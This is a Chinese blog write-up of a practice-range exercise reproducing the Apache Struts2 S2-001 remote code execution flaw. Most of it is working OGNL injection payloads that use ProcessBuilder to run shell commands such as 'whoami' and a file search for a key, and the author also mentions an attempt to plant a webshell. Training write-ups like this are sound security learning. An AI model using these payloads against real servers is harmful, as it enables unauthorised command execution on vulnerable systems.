TypechoJoeTheme

mmzkyl

墨者学院靶场_Apache Struts2远程代码执行漏洞(S2-001)复现

mmzkyl博主
2021-11-10
/
0 评论
/
189 阅读
/
167 个字
/
百度已收录
11/10
本文最后更新于2021年11月10日,已超过194天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

随笔

  • 2021-11-10 15:48
    我原本的想法是通过命令执行过于繁琐,尝试向其写入webshell,然后通过webshell进行管理,这样会比较方便,不过webshell一直没有写入成功
  • 2021-11-10 15:51
    该命令执行是无法直接使用空格的,具体示例如下
    ```
    %{

a=(new java.lang.ProcessBuilder(new java.lang.String[]{"find / -iname key.txt"})).redirectErrorStream(true).start(),

b=#a.getInputStream(),

c=new java.io.InputStreamReader(#b),

d=new java.io.BufferedReader(#c),

e=new char[50000],

d.read(#e),

f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

f.getWriter().println(new java.lang.String(#e)),

f.getWriter().flush(),#f.getWriter().close()

}

该语句无法正常执行

%{

a=(new java.lang.ProcessBuilder(new java.lang.String[]{"find","/","-iname","key.txt"})).redirectErrorStream(true).start(),

b=#a.getInputStream(),

c=new java.io.InputStreamReader(#b),

d=new java.io.BufferedReader(#c),

e=new char[50000],

d.read(#e),

f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

f.getWriter().println(new java.lang.String(#e)),

f.getWriter().flush(),#f.getWriter().close()

}

该语句可以正常执行

```

目标靶场



解题思路

  • 开门见山,直接说明这是Struts2漏洞
  • 先测试一下输入框是否存在漏洞
    %{'mmz'+'kyl'} %{5+8}
  • 再插入payload测试一下
    ```
    %{

a=(new java.lang.ProcessBuilder(new java.lang.String[]

{"whoami"})).redirectErrorStream(true).start(),

b=#a.getInputStream(),

c=new java.io.InputStreamReader(#b),

d=new java.io.BufferedReader(#c),

e=new char[50000],

d.read(#e),

f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

f.getWriter().println(new java.lang.String(#e)),

f.getWriter().flush(),#f.getWriter().close()

}

```

  • 返回 root ,说明成功进行了命令执行
  • 命令执行漏洞存在,利用命令执行漏洞寻找相应Key提交即可
赞(1)
评论 (0)

互动读者

  • pmydwqdfs闲逛

    评论 1 次 | 文章 0 篇

  • canon pixma tr4520闲逛

    评论 1 次 | 文章 0 篇

  • playtech slot indonesia闲逛

    评论 1 次 | 文章 0 篇

  • vwbszmzlph闲逛

    评论 1 次 | 文章 0 篇

标签云